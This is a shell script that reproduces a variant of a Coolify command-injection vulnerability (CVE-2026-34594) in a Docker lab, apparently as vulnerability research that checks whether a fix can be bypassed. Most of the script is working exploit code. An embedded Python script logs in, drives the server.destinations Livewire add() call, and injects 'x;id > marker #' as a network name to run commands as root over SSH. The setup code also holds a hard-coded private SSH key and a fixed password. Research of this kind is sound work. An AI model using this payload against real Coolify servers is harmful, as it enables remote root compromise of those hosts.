#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-34594 — VARIANT reproduction
#
# Alternate trigger: the SAME command-injection root cause (attacker-controlled
# Docker network name interpolated unsanitized into the SSH `bash -se` here-doc
# via StandaloneDocker::created -> instant_remote_process) is reached through a
# DIFFERENT entry point than the one fixed by PR #9228.
#
# Original (fixed) entry point:
#   destination.new.docker Livewire component -> submit() reads the validated
#   $network property -> StandaloneDocker::create(['network'=>$this->network])
#
# VARIANT entry point (NOT touched by PR #9228):
#   server.destinations Livewire component -> add($name) takes the network name
#   as a METHOD ARGUMENT (no #[Validate] property rule on $name) ->
#   StandaloneDocker::create(['network'=>$name]) -> created boot event ->
#   instant_remote_process(["docker network inspect $name ..."], $server) ->
#   ssh root@server 'bash -se' << delim  ->  arbitrary command execution as root
#
# Vulnerable : ghcr.io/coollabsio/coolify:4.0.0-beta.470  (before fix)
# Fixed      : ghcr.io/coollabsio/coolify:4.0.0-beta.471  (PR #9228)
#
# Expected outcome:
#   * beta.470: variant reproduces -> marker file on the SSH target contains
#     `uid=0(root) gid=0(root) groups=0(root)`  (ALTERNATE TRIGGER CONFIRMED)
#   * beta.471: variant is BLOCKED by the StandaloneDocker::setNetworkAttribute
#     model mutator (throws InvalidArgumentException) -> no marker, no exec.
#     => This is an alternate trigger, NOT a bypass of the fix.
#
# Exit codes:
#   0 = variant reproduced on the FIXED build (true BYPASS)
#   1 = variant only works on the vulnerable build (alternate trigger) OR no
#       variant reproduced (script still runs to completion)
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
STACK="$ROOT/vuln_variant/stack"
mkdir -p "$LOGS" "$STACK"
cd "$ROOT"

VULN_IMAGE="ghcr.io/coollabsio/coolify:4.0.0-beta.470"
FIXED_IMAGE="ghcr.io/coollabsio/coolify:4.0.0-beta.471"
ROOT_EMAIL="root@coolify.local"
ROOT_PASS="CoolifyRepro2026!Strong"
MARKER_BASE="/tmp/coolify_variant_pwned"
RUN_LOG="$LOGS/reproduction_steps.log"
: > "$RUN_LOG"

log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$RUN_LOG"; }

# -----------------------------------------------------------------------------
# 0. Ensure docker + compose plugin are available
# -----------------------------------------------------------------------------
ensure_compose() {
  if docker compose version >/dev/null 2>&1; then return 0; fi
  log "docker compose plugin missing; installing v2.36.1"
  mkdir -p "$HOME/.docker/cli-plugins"
  local f="$HOME/.docker/cli-plugins/docker-compose"
  curl -fsSL "https://github.com/docker/compose/releases/download/v2.36.1/docker-compose-linux-x86_64" -o "$f"
  chmod +x "$f"
  docker compose version >/dev/null 2>&1 || { log "FATAL: compose install failed"; return 1; }
}

# -----------------------------------------------------------------------------
# 1. Write stack files (.env, docker-compose.yml, setup.php, exploit_variant.py)
# -----------------------------------------------------------------------------
write_stack_files() {
  local appkey dbpass redispass
  appkey="base64:$(openssl rand -base64 32)"
  dbpass="coolify_$(openssl rand -hex 8)"
  redispass="redis_$(openssl rand -hex 8)"
  cat > "$STACK/.env" <<EOF
APP_ID=coolify-variant
APP_NAME=Coolify
APP_KEY=$appkey
APP_URL=http://localhost:18000
APP_ENV=production
APP_DEBUG=false
DB_CONNECTION=pgsql
DB_HOST=coolify-db
DB_PORT=5432
DB_DATABASE=coolify
DB_USERNAME=coolify
DB_PASSWORD=$dbpass
REDIS_CLIENT=phpredis
REDIS_HOST=coolify-redis
REDIS_PASSWORD=$redispass
REDIS_PORT=6379
PUSHER_APP_ID=coolify
PUSHER_APP_KEY=coolifykey
PUSHER_APP_SECRET=$(openssl rand -hex 8)
SELF_HOSTED=true
IS_WINDOWS_DOCKER_DESKTOP=true
SSH_MUX_ENABLED=false
AUTOUPDATE=false
ROOT_USERNAME=Root User
ROOT_USER_EMAIL=$ROOT_EMAIL
ROOT_USER_PASSWORD=$ROOT_PASS
REGISTRY_URL=ghcr.io
EOF

  cat > "$STACK/docker-compose.yml" <<'YAML'
services:
  coolify-testing-host:
    init: true
    image: "ghcr.io/coollabsio/coolify-testing-host:latest"
    container_name: coolify-testing-host
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    networks:
      - coolifynet
  coolify:
    image: "${COOLIFY_IMAGE}"
    container_name: coolify
    restart: "no"
    working_dir: /var/www/html
    extra_hosts:
      - 'host.docker.internal:host-gateway'
    env_file:
      - .env
    environment:
      - APP_ENV=production
      - APP_NAME=Coolify
      - APP_KEY=${APP_KEY}
      - DB_PASSWORD=${DB_PASSWORD}
      - REDIS_PASSWORD=${REDIS_PASSWORD}
      - SSL_MODE=off
      - PHP_PM_CONTROL=dynamic
      - PHP_PM_START_SERVERS=1
      - PHP_PM_MIN_SPARE_SERVERS=1
      - PHP_PM_MAX_SPARE_SERVERS=10
      - PUSHER_APP_ID=${PUSHER_APP_ID}
      - PUSHER_APP_KEY=${PUSHER_APP_KEY}
      - PUSHER_APP_SECRET=${PUSHER_APP_SECRET}
      - AUTOUPDATE=false
      - SELF_HOSTED=true
      - SSH_MUX_ENABLED=false
      - IS_WINDOWS_DOCKER_DESKTOP=true
    ports:
      - "18000:8080"
    expose:
      - "18000"
    healthcheck:
      test: ["CMD-SHELL", "curl --fail http://localhost:8080/api/health || exit 1"]
      interval: 5s
      retries: 40
      timeout: 3s
    depends_on:
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
    networks:
      - coolifynet
  postgres:
    image: postgres:15-alpine
    container_name: coolify-db
    restart: "no"
    environment:
      POSTGRES_USER: "coolify"
      POSTGRES_PASSWORD: "${DB_PASSWORD}"
      POSTGRES_DB: "coolify"
    volumes:
      - coolify-db:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U coolify -d coolify"]
      interval: 3s
      retries: 40
      timeout: 3s
    networks:
      - coolifynet
  redis:
    image: redis:7-alpine
    container_name: coolify-redis
    restart: "no"
    command: redis-server --save 20 1 --loglevel warning --requirepass ${REDIS_PASSWORD}
    environment:
      REDIS_PASSWORD: "${REDIS_PASSWORD}"
    volumes:
      - coolify-redis:/data
    healthcheck:
      test: ["CMD-SHELL", "redis-cli -a $$REDIS_PASSWORD ping | grep PONG"]
      interval: 3s
      retries: 40
      timeout: 3s
    networks:
      - coolifynet
  soketi:
    image: 'ghcr.io/coollabsio/coolify-realtime:1.0.11'
    container_name: coolify-realtime
    restart: "no"
    environment:
      APP_NAME: "Coolify"
      SOKETI_DEBUG: "false"
      SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
      SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
      SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
      SOKETI_HOST: "0.0.0.0"
    networks:
      - coolifynet
volumes:
  coolify-db:
    name: coolify-db-variant
  coolify-redis:
    name: coolify-redis-variant
networks:
  coolifynet:
    name: coolifynet-variant
    driver: bridge
YAML

  cat > "$STACK/setup.php" <<'PHPEOF'
<?php
require '/var/www/html/vendor/autoload.php';
$app = require_once '/var/www/html/bootstrap/app.php';
$app->make(Illuminate\Contracts\Console\Kernel::class)->bootstrap();
use App\Models\User; use App\Models\Team; use App\Models\InstanceSettings;
use App\Models\PrivateKey; use App\Models\Server; use App\Data\ServerMetadata;
use App\Enums\ProxyStatus; use App\Enums\ProxyTypes;
use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Cache;
$KEY = '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----
';
$PASS = getenv('ROOT_USER_PASSWORD') ?: 'CoolifyRepro2026!Strong';
$u = User::where('email', 'root@coolify.local')->first();
if (! $u) { $u = User::create(['name'=>'Root User','email'=>'root@coolify.local','password'=>$PASS]); }
if (! Hash::check($PASS, $u->password)) { DB::table('users')->where('id',$u->id)->update(['password'=>Hash::make($PASS)]); }
$team = $u->teams->first();
if (! $team) { $team = Team::create(['name'=>'Root Team','personal_team'=>true]); DB::table('team_user')->insert(['team_id'=>$team->id,'user_id'=>$u->id,'role'=>'owner','created_at'=>now(),'updated_at'=>now()]); }
DB::table('teams')->update(['show_boarding' => false]);
if (! InstanceSettings::find(0)) { try { InstanceSettings::create(['id'=>0]); } catch (\Throwable $e) {} }
$key = PrivateKey::where('name', 'testing-host key')->first();
if (! $key) { $key = PrivateKey::find(0); }
if (! $key) { $fp = PrivateKey::generateFingerprint(formatPrivateKey($KEY)); $key = PrivateKey::where('fingerprint', $fp)->first(); }
if (! $key) {
    try { $key = PrivateKey::create(['name'=>'testing-host key','description'=>'coolify-testing-host ssh key','private_key'=>$KEY,'team_id'=>$team->id]); }
    catch (\Throwable $e) { $fp = PrivateKey::generateFingerprint(formatPrivateKey($KEY)); $key = PrivateKey::where('fingerprint', $fp)->first(); }
}
if (! $key) { throw new \RuntimeException('Could not locate or create the testing-host private key'); }
$key->storeInFileSystem();
$server = Server::where('ip', 'coolify-testing-host')->first();
if (! $server) {
    $server = Server::create(['name'=>'localhost','description'=>'coolify-testing-host target server','ip'=>'coolify-testing-host','port'=>22,'user'=>'root','private_key_id'=>$key->id,'team_id'=>$team->id,'proxy'=>ServerMetadata::from(['type'=>ProxyTypes::TRAEFIK->value,'status'=>ProxyStatus::EXITED->value,'last_saved_settings'=>null,'last_applied_settings'=>null])]);
}
DB::table('servers')->where('ip','coolify-testing-host')->update(['user'=>'root','private_key_id'=>$key->id,'team_id'=>$team->id]);
$server = Server::where('ip','coolify-testing-host')->first();
$server->settings->is_reachable = true; $server->settings->is_usable = true; $server->settings->save();
$keep = Server::where('ip','coolify-testing-host')->pluck('id');
DB::table('server_settings')->whereNotIn('server_id', $keep)->update(['is_usable'=>false,'is_reachable'=>false]);
// Remove any destinations created by previous variant attempts so add() does not
// short-circuit on "Network already added to this server."
DB::table('standalone_dockers')->delete();
DB::table('swarm_dockers')->delete();
Cache::flush();
echo "SETUP_OK USER_ID={$u->id} TEAM_ID={$team->id} SERVER_ID={$server->id} SERVER_UUID={$server->uuid} KEY_UUID={$key->uuid}\n";
echo "KEYFILE=" . $key->getKeyLocation() . " EXISTS=" . (file_exists($key->getKeyLocation()) ? 'yes' : 'no') . "\n";
PHPEOF

  # ---- Variant exploit: targets server.destinations->add($name) ----
  cat > "$STACK/exploit_variant.py" <<'PYEOF'
#!/usr/bin/env python3
import requests, re, html, json, sys, os
BASE = os.environ.get('COOLIFY_URL', 'http://coolify:8080')
SERVER_UUID = os.environ['SERVER_UUID']
EMAIL = os.environ.get('COOLIFY_EMAIL', 'root@coolify.local')
PASSWORD = os.environ.get('COOLIFY_PASSWORD', 'CoolifyRepro2026!Strong')
MARKER = os.environ.get('MARKER', '/tmp/coolify_variant_pwned')
# Network payload: shell metacharacters supplied as the add($name) method ARGUMENT.
# Reaches the same sink as CVE-2026-34594 (StandaloneDocker::created ->
# instant_remote_process -> ssh 'bash -se' here-doc) but via a different
# Livewire component (server.destinations) and a method argument instead of a
# validated $network property.
NETWORK = 'x;id > %s 2>&1 #' % MARKER
s = requests.Session()
r = s.get(BASE + '/login', timeout=25)
m = re.search(r'name="csrf-token" content="([^"]+)"', r.text)
if not m: print('NO_CSRF_LOGIN'); sys.exit(2)
token = m.group(1)
r = s.post(BASE + '/login', data={'_token': token, 'email': EMAIL, 'password': PASSWORD}, allow_redirects=True, timeout=25)
print('login_status=%s final_url=%s' % (r.status_code, r.url))
page_url = BASE + '/server/%s/destinations' % SERVER_UUID
r = s.get(page_url, timeout=40)
print('dest_page_status=%s' % r.status_code)
if r.status_code != 200: print('DEST_PAGE_NOT_200'); sys.exit(2)
m = re.search(r'name="csrf-token" content="([^"]+)"', r.text); token = m.group(1) if m else None
# Locate the server.destinations Livewire snapshot (the page component).
# Deliberately NOT destination.new.docker (the fixed entry point).
target = None
seen = []
for raw in re.findall(r'wire:snapshot="([^"]*)"', r.text):
    dec = html.unescape(raw)
    try: j = json.loads(dec)
    except Exception: continue
    name = (j.get('memo') or {}).get('name')
    seen.append(name)
    if name == 'server.destinations':
        target = dec; break
if not target:
    print('SERVER_DESTINATIONS_SNAPSHOT_NOT_FOUND seen=%s' % seen); sys.exit(2)
tj = json.loads(target)
print('snapshot_found name=%s' % tj['memo']['name'])
# Call add($name) with the malicious network as a method argument (no property update).
payload = {'components': [{'snapshot': target, 'updates': {},
                           'calls': [{'path': '', 'method': 'add', 'params': [NETWORK]}]}]}
headers = {'X-Livewire': 'true', 'X-CSRF-TOKEN': token, 'Content-Type': 'application/json',
           'Referer': page_url, 'Origin': BASE}
r = s.post(BASE + '/livewire/update', json=payload, headers=headers, timeout=90)
print('livewire_update_status=%s' % r.status_code)
try:
    j = r.json(); comp = (j.get('components') or [{}])[0]; eff = comp.get('effects', {})
    redirect = eff.get('redirect'); htmllen = len(eff.get('html', ''))
    print('effects redirect=%s html_len=%s comp_status=%s' % (redirect, htmllen, comp.get('status')))
    txt = re.sub(r'\s+', ' ', re.sub(r'<[^>]+>', ' ', eff.get('html', ''))).strip()
    print('RESPONSE_SNIPPET=%s' % txt[:500])
except Exception as e:
    print('non_json_resp:', r.text[:300])
print('EXPLOIT_DONE')
PYEOF
}

# -----------------------------------------------------------------------------
# 2. Pull images (idempotent; fast if already cached on the daemon)
# -----------------------------------------------------------------------------
pull_images() {
  for img in "$VULN_IMAGE" "$FIXED_IMAGE" \
             "postgres:15-alpine" "redis:7-alpine" \
             "ghcr.io/coollabsio/coolify-testing-host:latest" \
             "ghcr.io/coollabsio/coolify-realtime:1.0.11"; do
    docker image inspect "$img" >/dev/null 2>&1 || { log "pulling $img"; docker pull "$img" >/dev/null 2>&1 || log "WARN: pull $img failed"; }
  done
}

hard_cleanup() {
  docker rm -f coolify coolify-db coolify-redis coolify-realtime coolify-testing-host >/dev/null 2>&1 || true
  docker volume rm coolify-db-variant coolify-redis-variant >/dev/null 2>&1 || true
  docker network rm coolifynet-variant >/dev/null 2>&1 || true
}

wait_for_seed() {
  local i
  for i in $(seq 1 60); do
    local n; n=$(docker exec coolify-db psql -U coolify -d coolify -tA -c "select count(*) from servers where ip='host.docker.internal';" 2>/dev/null || echo 0)
    if [ "${n:-0}" -ge 1 ]; then log "auto-seed/server present (attempt $i)"; return 0; fi
    sleep 3
  done
  log "WARN: server not detected; continuing anyway"
  return 0
}

# -----------------------------------------------------------------------------
# 3. Start a stack for a given image and wait until coolify is healthy
# -----------------------------------------------------------------------------
start_stack() {
  local image="$1" logfile="$2"
  (cd "$STACK" && docker compose down -v --remove-orphans >/dev/null 2>&1 || true)
  hard_cleanup
  log "starting stack with $image"
  (cd "$STACK" && COOLIFY_IMAGE="$image" docker compose up -d >"$logfile" 2>&1)
  local i
  for i in $(seq 1 80); do
    local st; st=$(docker inspect --format '{{.State.Health.Status}}' coolify 2>/dev/null || echo "none")
    if [ "$st" = "healthy" ]; then log "coolify healthy (attempt $i)"; wait_for_seed; return 0; fi
    sleep 5
  done
  log "FATAL: coolify did not become healthy for $image"; return 1
}

# -----------------------------------------------------------------------------
# 4. Bootstrap entities (sets BOOTSTRAP_UUID)
# -----------------------------------------------------------------------------
BOOTSTRAP_UUID=""
bootstrap() {
  local logfile="$1" out uuid
  docker cp "$STACK/setup.php" coolify:/tmp/setup.php >/dev/null 2>&1
  local i
  for i in $(seq 1 5); do
    out=$(docker exec -e ROOT_USER_PASSWORD="$ROOT_PASS" coolify php /tmp/setup.php 2>&1 | tee -a "$logfile" || true)
    uuid=$(echo "$out" | grep -oE 'SERVER_UUID=[a-z0-9]+' | head -1 | cut -d= -f2 || true)
    if [ -n "$uuid" ]; then BOOTSTRAP_UUID="$uuid"; log "bootstrap ok SERVER_UUID=$uuid"; return 0; fi
    log "bootstrap retry $i"; sleep 5
  done
  log "FATAL: bootstrap failed"; return 1
}

# -----------------------------------------------------------------------------
# 5. Install python3+requests in the testing-host (recreated on each up)
# -----------------------------------------------------------------------------
install_py() {
  log "installing python3+requests in coolify-testing-host"
  docker exec coolify-testing-host bash -c "apt-get update -qq >/dev/null 2>&1 && apt-get install -y -qq python3 python3-requests >/dev/null 2>&1 && echo PY_OK" 2>&1 | tee -a "$RUN_LOG" | tail -1 || true
  if docker exec coolify-testing-host python3 -c 'import requests' >/dev/null 2>&1; then
    log "python3+requests ready"
  else
    log "FATAL: python3+requests unavailable in testing-host"; return 1
  fi
}

# -----------------------------------------------------------------------------
# 6. Run the variant exploit for one attempt.
# -----------------------------------------------------------------------------
run_exploit() {
  local tag="$1" marker="$2" logfile="$3"
  docker exec coolify-testing-host rm -f "$marker" >/dev/null 2>&1 || true
  docker cp "$STACK/exploit_variant.py" coolify-testing-host:/tmp/exploit_variant.py >/dev/null 2>&1
  log "variant exploit attempt $tag (marker=$marker)"
  docker exec -e SERVER_UUID="$BOOTSTRAP_UUID" -e MARKER="$marker" \
    -e COOLIFY_EMAIL="$ROOT_EMAIL" -e COOLIFY_PASSWORD="$ROOT_PASS" \
    coolify-testing-host python3 /tmp/exploit_variant.py >"$logfile" 2>&1 || true
  cat "$logfile" | tee -a "$RUN_LOG"
}

marker_present() { docker exec coolify-testing-host test -f "$1" >/dev/null 2>&1; }
marker_content() { docker exec coolify-testing-host cat "$1" 2>/dev/null || echo "<missing>"; }

# =============================================================================
# MAIN
# =============================================================================
log "=== CVE-2026-34594 VARIANT reproduction start ==="
log "variant entry point: server.destinations Livewire component -> add(\$name) (method argument)"
ensure_compose
pull_images
write_stack_files

VULN_OK=0; FIXED_OK=0
VULN_MARKERS=(); FIXED_MARKERS=()

# ---- Vulnerable build (beta.470): expect variant command execution as root ----
start_stack "$VULN_IMAGE" "$LOGS/stack_vulnerable.log"
bootstrap "$LOGS/setup_vulnerable.log"
install_py
for n in 1 2; do
  m="${MARKER_BASE}_vuln_$n"
  run_exploit "vuln-$n" "$m" "$LOGS/vulnerable_attempt_$n.log"
  if marker_present "$m"; then
    VULN_OK=$((VULN_OK+1)); VULN_MARKERS+=("$m")
    { echo "marker=$m"; marker_content "$m"; } > "$LOGS/vulnerable_marker_$n.txt" 2>/dev/null || true
    log "VULN variant attempt $n: MARKER PRESENT -> $(marker_content "$m" | tr -d '\n')"
  else
    log "VULN variant attempt $n: marker absent"
  fi
done
log "vulnerable variant summary: $VULN_OK/2 attempts produced command execution"

# ---- Fixed build (beta.471): expect mutator to block, no execution ----
start_stack "$FIXED_IMAGE" "$LOGS/stack_fixed.log"
bootstrap "$LOGS/setup_fixed.log"
install_py
for n in 1 2; do
  m="${MARKER_BASE}_fixed_$n"
  run_exploit "fixed-$n" "$m" "$LOGS/fixed_attempt_$n.log"
  if marker_present "$m"; then
    log "FIXED variant attempt $n: UNEXPECTED marker present -> $(marker_content "$m" | tr -d '\n')"
    FIXED_OK=$((FIXED_OK+1)); FIXED_MARKERS+=("$m")
  else
    log "FIXED variant attempt $n: no marker (variant blocked by model mutator) as expected"
  fi
done
log "fixed variant summary: $FIXED_OK/2 attempts produced command execution (expect 0)"

# ---- Verdict ----
# Exit 0 ONLY if the variant reproduces on the FIXED build (true bypass).
# Exit 1 if the variant reproduces on vulnerable but is blocked on fixed
#        (alternate trigger), or if nothing reproduced.
VARIANT_CONFIRMED_VULN=0; BYPASS=0
if [ "$VULN_OK" -ge 1 ]; then VARIANT_CONFIRMED_VULN=1; fi
if [ "$VULN_OK" -ge 1 ] && [ "$FIXED_OK" -ge 1 ]; then BYPASS=1; fi

if [ "$BYPASS" = "1" ]; then
  log "VERDICT: BYPASS - variant reproduces on the FIXED build (beta.471)."
elif [ "$VARIANT_CONFIRMED_VULN" = "1" ] && [ "$FIXED_OK" -eq 0 ]; then
  log "VERDICT: ALTERNATE_TRIGGER_CONFIRMED - variant reproduces on vulnerable (beta.470) and is BLOCKED on fixed (beta.471) by the setNetworkAttribute model mutator. Not a bypass."
else
  log "VERDICT: NOT_REPRODUCED (vuln=$VULN_OK fixed=$FIXED_OK)"
fi

# ---- Runtime manifest (strict JSON via python) ----
python3 - "$ROOT/vuln_variant/runtime_manifest.json" "$VARIANT_CONFIRMED_VULN" "$BYPASS" "$VULN_OK" "$FIXED_OK" "${VULN_MARKERS[*]}" "${FIXED_MARKERS[*]}" <<'PYEOF' 2>/dev/null || true
import json, sys
path, vcv, byp, vuln, fixed = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]), int(sys.argv[4]), int(sys.argv[5])
vmarkers = sys.argv[6].split() if len(sys.argv) > 6 and sys.argv[6] else []
fmarkers = sys.argv[7].split() if len(sys.argv) > 7 and sys.argv[7] else []
artifacts = [
  "logs/vuln_variant/reproduction_steps.log",
  "logs/vuln_variant/stack_vulnerable.log", "logs/vuln_variant/setup_vulnerable.log",
  "logs/vuln_variant/vulnerable_attempt_1.log", "logs/vuln_variant/vulnerable_attempt_2.log",
  "logs/vuln_variant/vulnerable_marker_1.txt", "logs/vuln_variant/vulnerable_marker_2.txt",
  "logs/vuln_variant/stack_fixed.log", "logs/vuln_variant/setup_fixed.log",
  "logs/vuln_variant/fixed_attempt_1.log", "logs/vuln_variant/fixed_attempt_2.log",
]
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Coolify authenticated POST /livewire/update driving server.destinations add($name) (network supplied as a Livewire method argument, not a validated property)",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "variant_confirmed_on_vulnerable": bool(vcv),
  "bypass_on_fixed": bool(byp),
  "vulnerable_markers": vmarkers,
  "fixed_markers": fmarkers,
  "runtime_stack": ["coolify (Laravel app, official image)", "postgres:15", "redis:7", "coolify-realtime (soketi)", "coolify-testing-host (SSH target, root)"],
  "proof_artifacts": artifacts,
  "notes": "Variant entry point = App\\Livewire\\Server\\Destinations::add($name) (component server.destinations), untouched by PR #9228. Vulnerable beta.470: add('x;id > /tmp/marker #') -> StandaloneDocker::create -> created event -> instant_remote_process -> root cmd exec (marker=uid=0(root)). Fixed beta.471: StandaloneDocker::setNetworkAttribute mutator throws InvalidArgumentException -> no exec. Alternate trigger, not a bypass."
}
open(path, "w").write(json.dumps(manifest, indent=2))
print("manifest written:", path)
PYEOF

# Persist the tested source revisions (image -> build commit).
{
  echo "vulnerable_image=$VULN_IMAGE"
  echo "fixed_image=$FIXED_IMAGE"
  echo "variant_confirmed_on_vulnerable=$VARIANT_CONFIRMED_VULN"
  echo "bypass_on_fixed=$BYPASS"
} > "$LOGS/versions.txt" 2>/dev/null || true

log "=== variant reproduction end (alternate_trigger_confirmed=$VARIANT_CONFIRMED_VULN bypass=$BYPASS) ==="

if [ "$BYPASS" = "1" ]; then exit 0; else exit 1; fi
